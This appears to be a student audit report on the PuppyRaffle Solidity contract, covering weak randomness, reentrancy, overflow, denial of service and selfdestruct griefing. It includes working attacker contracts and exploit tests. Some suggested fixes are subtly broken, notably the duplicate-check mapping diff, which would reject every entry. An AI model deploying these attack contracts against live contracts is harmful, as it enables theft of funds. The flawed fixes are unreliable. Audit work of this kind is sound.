Protocol Audit Report

Version 1.0

Cyfrin.io

January 24, 2024

PuppyRaffle Audit

0xShitgem

January 24 2024

Prepared by: [0xShitgem] Lead Auditors:

- 0xShitgem

Table of Contents

Protocol Summary

Protocol is a raffle allowing player to join and mint random nft. The owner collect fees (which is 20%) and then can withdraw it.

Disclaimer

The 0xShitgem makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by me is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: e30d199697bbc822b646d76533b66b7d529b8ef5

Scope

```
./src/
-- PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

hihiha

Issues found

Severity	Number of issues found
High	3
Medium	3
Low	0
Informational	4
Gas	2
Total	12

Findings

High

[H-1] Using randomness by using `block.timestamp` and `block.difficulty` can be rigged

Description: Hashing `msg.sender`, `block.timestamp` and `block.difficulty` together creates a predictable number. Malicious user can manipulate these values or know ahead of time to choose winner of raffle.

Impact: Any user knowing final number can choose the winner of raffle.

Proof of Concept:

1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that knowledge to predict when to participate.
2. User can manipulate `msg.sender` value to result in their index being the winner

Recommended Mitigation: Consider using oracle for randomness like Chainlink VRF.

[H-2] Reentrancy Attack in `PuppyRaffle::refund` allows attacker to drain contract balance.

Description: `PuppyRaffle::refund` doesn't follow checks-effect-interactions patterns and as a result , enables attacker to drain contract balance.

In that function first we make external call to `msg.sender` and only after that we change state of players.

If `msg.sender` is smart contract with `fallback` or `receive` function, it could reenter into the `PuppyRaffle::refund` function and drain entire contract balance.

Impact: All fees paid by other users will be stoeln.

Proof of Concept:

1. User A enter the raffle
2. User B create smart contract with fallback function to `PuppyRaffle::refund`
3. User B via smart contract enter raffle
4. User B via smart contract use `PuppyRaffle::refund` to drain contract balance

Proof Of Code Place the following into `PuppyRaffleTest.t.sol`.

```
function test_reentrancyRefund() public {
    address[] memory players = new address[](4);
    players[0] = playerOne;
    players[1] = playerTwo;
    players[2] = playerThree;
    players[3] = playerFour;
    puppyRaffle.enterRaffle{value: entranceFee*4}(players);

    ReentrancyAttacker attackerContract = new ReentrancyAttacker(
       puppyRaffle);
    address attackUser = makeAddr("attackUser");
    vm.deal(attackUser, 1 ether);

    uint256 startingAttackContractBalance = address(attackerContract).
       balance;
    uint256 startingContractBalance = address(puppyRaffle).balance;

    vm.prank(attackUser);
    attackerContract.attack{value: entranceFee}();

    console.log("starting attacker contract balance: ",
        startingAttackContractBalance);

    console.log("strating contract balance: ", startingContractBalance)
        ;

    console.log("ending attacker contract balance: ", address(
        attackerContract).balance);

    console.log("ending contract balance: ", address(puppyRaffle).
        balance);
}
```

And this contract as well:

```
contract ReentrancyAttacker {

    PuppyRaffle puppyRaffle;
    uint256 entranceFee;
    uint256 attackerIndex;

    constructor(PuppyRaffle _puppyRaffle) {
        puppyRaffle = PuppyRaffle(_puppyRaffle);
        entranceFee = puppyRaffle.entranceFee();
    }

    function attack() external payable {
        address[] memory players = new address[](1);
        players[0] = address(this);
        puppyRaffle.enterRaffle{value: entranceFee}(players);
        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
            ;
        puppyRaffle.refund(attackerIndex);
    }

    fallback() external payable {
        if(address(puppyRaffle).balance >= entranceFee) {
            puppyRaffle.refund(attackerIndex);
        }
    }

}
```

Recommended Mitigation: Follow check-effect-interaction pattern by changing state of player before executing payable function. You can also consider using `ReentracyGuard` from @OpenZeppelin library.

```
function refund(uint256 playerIndex) public {
    address playerAddress = players[playerIndex];
    require(playerAddress == msg.sender, "PuppyRaffle: Only the player
        can refund");
    require(playerAddress != address(0), "PuppyRaffle: Player already
        refunded, or is not active");
+   players[playerIndex] = address(0);
+   emit RaffleReturned(playerAddress);

    payable(msg.sender).sendValue(entranceFee);

-   players[playerIndex] = address(0);
-   emit RaffleRefunded(playerAddress);
}
```

[H-3] Integer Overflow cause `PuppyRaffle:totalFees` to be lower then expected.

Description: In versions of solidity below `0.8.0` exist problem of integer overflow.

```
uint64 myVar = type(uint64).max;
// myVar will be 18446744073709551615
myVar = myVar + 1;
// myVar will be 0
```

Impact: If uint64 reach value above their max - it'll overflow leaving fees permanently stuck.

Proof of Concept:

1. 4 players join raffle - owner collect fees.
2. We add 89 additional players to raffle
3. `totalFees` will be

```
totalFees = totalFees + uint64(fee);
// substituted
totalFees = 800000000000000000 + 17800000000000000000;
// due to overflow, the following is now the case
totalFees = 153255926290448384;
```

4. You cannot now withdraw fees, due to this line:

```
require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```

Proof Of Code Add following test:

```
function test_overflow() public playersEntered {

    vm.warp(block.timestamp + duration + 1);
    vm.roll(block.number + 1);
```

```

        puppyRaffle.selectWinner();
        uint256 startingTotalFees = puppyRaffle.totalFees();

        uint256 playersNum = 89;

        address[] memory players = new address[](playersNum);

        for(uint256 i = 0; i < playersNum; i++){
            players[i] = address(i);
        }

        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(players)
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        puppyRaffle.selectWinner();

        uint256 endingTotalFees = puppyRaffle.totalFees();
        console.log("ending total fees", endingTotalFees);
        assert(endingTotalFees < startingTotalFees);

        vm.prank(puppyRaffle.feeAddress());
        vm.expectRevert("PuppyRaffle: There are currently players active!")
            ;
        puppyRaffle.withdrawFees();

    }
```

Recommended Mitigation:

1. Use newer version of solidity and `uint256` instead of `uint64`

```
- pragma solidity ^0.7.6;
+ pragma solidity ^0.8.20;
```

2. You could also use the `SafeMath` library of OpenZeppelin for version 0.7.6 of solidity, however you would still have a hard time with the `uint64` type if too many fees are collected.
3. Remove the balance check from `PuppyRaffle::withdrawFees`

```
- require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```

Medium

[M-1] Denial Of Service attack at for loop inside `PuppyRaffle::enterRaffle`, incrementing gas costs

Description: At `PuppyRaffle::enterRaffle` there's two for loops. One for pushing from passed `newPlayers` array to storage `players` and second one checking for duplicates. The second loop is unbounded which means that `players` could be infinitely long. The longer the array, the more checks an ew player will have to make. That means the gas cost will be different between for first user and much higher for later users.

Impact: If there's vast amount of users, gas will be extremely expensive.

An attacker might make `PuppyRaffle::entrants` array so big, that no one else enter, guaranteeing themselves the win.

Proof of Concept: If we have two sets of 100 players, gas costs will be as such:

1. 100 players - 6252048
2. 200 players - 18068138

Proof of Code Add below test to `PuppyRaffleTest.t.sol`

```
function testDenialOfService() public {

    vm.txGasPrice(1);
    uint256 playersNum = 100;
    address[] memory players = new address[](playersNum);

    for(uint256 i=0; i< playersNum; i++) {
        players[i] = address(i);
    }

    uint256 gasStart = gasleft();
    puppyRaffle.enterRaffle{value: entranceFee * players.length}(players);
    uint256 gasEnd = gasleft();
    uint256 gasUsed = (gasStart - gasEnd) * tx.gasprice;
    console.log("Gas cost of the first 100 players ", gasUsed);

    // another 100 players
    address[] memory playersTwo = new address[](playersNum);

    for(uint256 i=0; i< playersNum; i++) {
        playersTwo[i] = address(playersNum + i);
    }

    uint256 gasStartSecond = gasleft();
    puppyRaffle.enterRaffle{value: entranceFee * playersTwo.length}(playersTwo);
    uint256 gasEndSecond = gasleft();
    uint256 gasUsedSecond = (gasStartSecond - gasEndSecond) * tx.gasprice;
    console.log("Gas cost of the first 100 players ", gasUsedSecond);
    assert(gasUsed < gasUsedSecond);
}
```

Recommended Mitigation: There are a few recommendations.

1. Consider allowing duplicates. Users can make new wallet addresses anyways, so a duplicate check doesn't prevent the same person from entering multiple times, only the same wallet address.
2. Consider using a mapping to check for duplicates. This would allow constant time lookup of whether a user has already entered.

```
+     mapping(address => uint256) public addressToRaffleId;
+     uint256 public raffleId = 0;
     .
     .
     .
     function enterRaffle(address[] memory newPlayers) public payable {
         require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle: Must send enough to enter raffle");
         for (uint256 i = 0; i < newPlayers.length; i++) {
             players.push(newPlayers[i]);
+             addressToRaffleId[newPlayers[i]] = raffleId;
         }

-          // Check for duplicates
+         // Check for duplicates only from the new players
+         for (uint256 i = 0; i < newPlayers.length; i++) {
+            require(addressToRaffleId[newPlayers[i]] != raffleId, "PuppyRaffle: Duplicate player");
+         }
-          for (uint256 i = 0; i < players.length; i++) {
-              for (uint256 j = i + 1; j < players.length; j++) {
-                  require(players[i] != players[j], "PuppyRaffle: Duplicate player");
-              }
-          }
         emit RaffleEnter(newPlayers);
     }
.
.
.
     function selectWinner() external {
+         raffleId = raffleId + 1;
```

```
        require(block.timestamp >= raffleStartTime + raffleDuration, "
            PuppyRaffle: Raffle not over");
```

Alternatively, you could user OpenZeppelin's `EnumerableSet` library.

[M-02] Balance check on `PuppyRaffle::withdrawFees` enables griefes to selfdestruct a contract to send ETH to the raffle, blocking withdrawals

Description: The `PuppyRaffle::withdrawFees` have line of code that checks if balance of contract equals the `PuppyRaffle::totalFees`

```
function withdrawFees() external {
@> require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
    uint256 feesToWithdraw = totalFees;
    totalFees = 0;
    (bool success,) = feeAddress.call{value: feesToWithdraw}("");
    require(success, "PuppyRaffle: Failed to withdraw fees");
}
```

This particular line of code enables griefers to selfdestruct to a contract.

Impact: Attacker contract with `selfdestruct` forcefully can send ETH to raffle, blocking withdrawal of fees.

Proof of Concept:

1. Attacker create contract with `selfdestruct` and execute it
2. ETH is accepted to `PuppyRaffle` forcefully.
3. Owner wanting to withdraw fees is unable to, because `address(this).balance` isn't equal to `PuppyRaffle::totalFees`

Proof of Code Add following test to `PuppyRaffleTest.t.sol`

```
function test_selfdestruct() public playerEntered {

    SelfdestructAttacker selfDestructAddress = new SelfdestructAttacker
        (puppyRaffle);
    uint256 puppyRaffleBalanceBefore = address(puppyRaffle).balance;

    address attacker = makeAddr("attacker");
    vm.deal(attacker, 1 ether);

    vm.prank(attacker);
    (bool success, ) = address(selfDestructAddress).call{value: 1 ether
        }("");
    require(success, "error");

    selfDestructAddress.attack();
    uint256 puppyRaffleBalanceAfter = address(puppyRaffle).balance;

    vm.prank(puppyRaffle.feeAddress());
    vm.expectRevert("PuppyRaffle: There are currently players active!")
        ;
    puppyRaffle.withdrawFees();

}
```

And this contract:

```
contract SelfdestructAttacker {
    PuppyRaffle puppyRaffle;

    constructor(PuppyRaffle _puppyRaffle) {
        puppyRaffle = _puppyRaffle;
    }

    function attack() external {
        address payable addr = payable(address(puppyRaffle));
        selfdestruct(addr);
    }

    receive() external payable {}
}
```

Recommended Mitigation:

Remove the check

```
function withdrawFees() external {
-   require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");

    uint256 feesToWithdraw = totalFees;
    totalFees = 0;

    (bool success,) = feeAddress.call{value: feesToWithdraw}("");
    require(success, "PuppyRaffle: Failed to withdraw fees");
}
```

[M-03] Smart contract wallets raffle winners without a `receive` or a `fallback` function will block the start of a new contest

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Users could easily call the `selectWinner` function again and non-wallet entrants could enter, but it could cost a lot due to the duplicate check and a lottery reset could get very challenging.

Impact: The `PuppyRaffle::selectWinner` function could revert many times, making a lottery reset difficult.

Also, true winners would not get paid out and someone else could take their money.

Proof of Concept:

1. 10 smart contract wallets enter the lottery without a fallback or a receive function.
2. The lottery ends.
3. The `selectWinner` functino wouldn't work, even though the lottery is over!

Recommended Mitigation:

1. Do not allow smart contract wallet entrants (not recommended)
2. Create a mapping of addresses -> payout so winners can pull their funds out themselves, putting the owness on the winner to claim their prize. (Recommended).,

Low

Informational

[I-1] Solidity pragma should be specific

Consider using a specific version of Solidity in yout contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

- Found in src/PuppyRaffle.sol: 32:23:35

[I-02] Using and outdated version of Solidity is not recommended.

`solc` frequently releases new compiler besions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation Deploy with any of the following Solidity verisons:

`0.8.18` The recommendations take into account:

- Risks related to recent releases

- Risks of complex code generation changes
- Risks of new language features
- Risks of known bugs
- Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

[I-3] Missing checks for `address(0)` when assinging values to address state variables

Assigning values to address state variables without checking for `address(0)`.

- Found in src/PuppyRaffle.sol: 8662:23:35
- Found in src/PuppyRaffle.sol: 3165:24:35
- Found in src/PuppyRaffle.sol: 9809:26:35

[I-04] `PuppyRaffle::selectWinner` does not follow CEI

It's best to keep code clean and follow CEI (Checks, Effects, Interactions).

```
-    (bool success, ) = winner.call{value: prizePool}("");
-    require(success, "PuppyRaffle: Failed to send prize pool to winner"
    );
     _safeMint(winner, tokenId);
+    (bool success, ) = winner.call{value: prizePool}("");
+    require(success, "PuppyRaffle: Failed to send prize pool to winner"
    );
```

Gas

[G-01] Unchanged state variables should be declared contact or imutable.

Reading from storage is much more expensive then reading from a constant or immutable variable.

Instances:

- `PuppyRaffle::raffleDuration` should be `immutable`
- `PuppyRaffle::commonImageUri` should be `constant`
- `PuppyRaffle::rareImageUri` should be `constant`
- `PuppyRaffle::legendaryImageUri` should be `constant`

[G-02] Storage variables in a loop should be cached

Everytime you call `players.length` you read from storage, as opposed to memory which is more gas efficient.

```
+ uint256 playerLength = players.length
- for(uint256 i = 0; i < players.length - 1; i++) {
+ for(uint256 i = 0; i < playerLength - 1; i++)
-   for (uint256 j = i + 1; j < players.length; j++) {
+   for (uint256 j = i + 1; j < playersLength; j++) {
        require(players[i] != players[j], "PuppyRaffle: Duplicate
            player");
    }
}
```